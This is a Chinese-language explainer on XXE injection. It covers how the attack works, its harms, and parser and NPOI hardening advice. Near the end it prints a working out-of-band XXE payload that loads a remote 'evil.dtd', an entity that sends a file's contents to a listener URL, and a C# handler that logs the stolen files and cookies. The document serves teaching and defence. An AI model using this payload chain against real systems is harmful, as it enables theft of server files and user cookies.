XXE漏洞概述
XXE(XML External Entity Injection) 漏洞发生在应用程序解析 XML 解析时,没有禁止外部实体的执行的权限,利用支持的协议进行内网探测和入侵(不用的语言支持的协议不一致),
参考https://security.tencent.com/index.php/blog/msg/69
n 攻击过程和原理
1. 定义DTD文件,DTD用来定义XML的语义,用来说明XML个节点的数据含义。
2. 黑客建立网站编写DTD文件,编写执行的实体代码。
3. 修改XML进行注入,加入实体内容,同时引入DTD文件。
4. 让含有XML的文件执行(XML或Excel),使得XML在加载解析时执行。
(Excel可以被工具转换为XML(修改的xlsx文件里的一个xml文件,修改完后其实这个文件已经是一个不符合excel能够打开的正常格式文件里,直接上传修改过后的xlsx文件就好了,excel不能打开 但是对于NPOI来说 他还是可以解析的
n 危害(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
1. 读取任意文件。
2. 执行系统命令(暂时查到的是php的扩展脚本可以被执行)。
3. 探测内网端口(利用http协议往外发送内容,检查是否成功)
4. 攻击内网(通过webshell的方式将攻击内容通过xml提交,xml在服务器上有权限访问内网系统,进行攻击);
5. 拒绝服务(在实体中定义相互引用的变量,导致服务器一直处于处于计算状态)
n 攻防
1.JSON攻击
假设后台同时能接受客户端提交的Json和xml,可能会存在漏洞
防护
将提交的JSON转化为XML进行提交,如果能接受XML的话,可能存在XXE漏洞;如果存在需要定义严格的数据接受内容,在页面提交数据时减少用xml的格式。
2.EXCEL攻击
防护
a) NPOI:使用版本>=2.2.1。
b) 不适用NPIO解析Excel时对XML解析进行权限控制,需要对Excel结构进行验证。
3.XML攻击
只要能成功执行XML中的实体,就会达到攻击目标。
防护
a) 在默认情况下关闭内联 DTD 解析(INLINE DTD PARSING)、外部实体、实体,使用白名单来控制允许实用的协议。
b) 检查XML内容中是否包含外部实体<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
c) 各语言修改方法
执行XML解析时出发实体执行
// 被注入的XML string xml = "<?xml version=\"1.0\" ?>"; xml = xml + "<!DOCTYPE doc[<!ENTITY % remote SYSTEM \"http://localhost:20234/evil.dtd\"> %remote;%all;]>"; xml = xml + "<doc>&send;</doc>";
常见DTD
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:20234/Default.aspx?file=%file;'>">
将攻击获取的文件保存起来
if (Request.Params["file"] != null) { Log.Info("从目标机器上攻击获取到的文件内容是file:" + Request.Params["file"]); } if (Request.Params["ckid"] != null) { Log.Info("获取到的Cookie:" + Request.Params["ckid"]); }
各语言检查和修改方法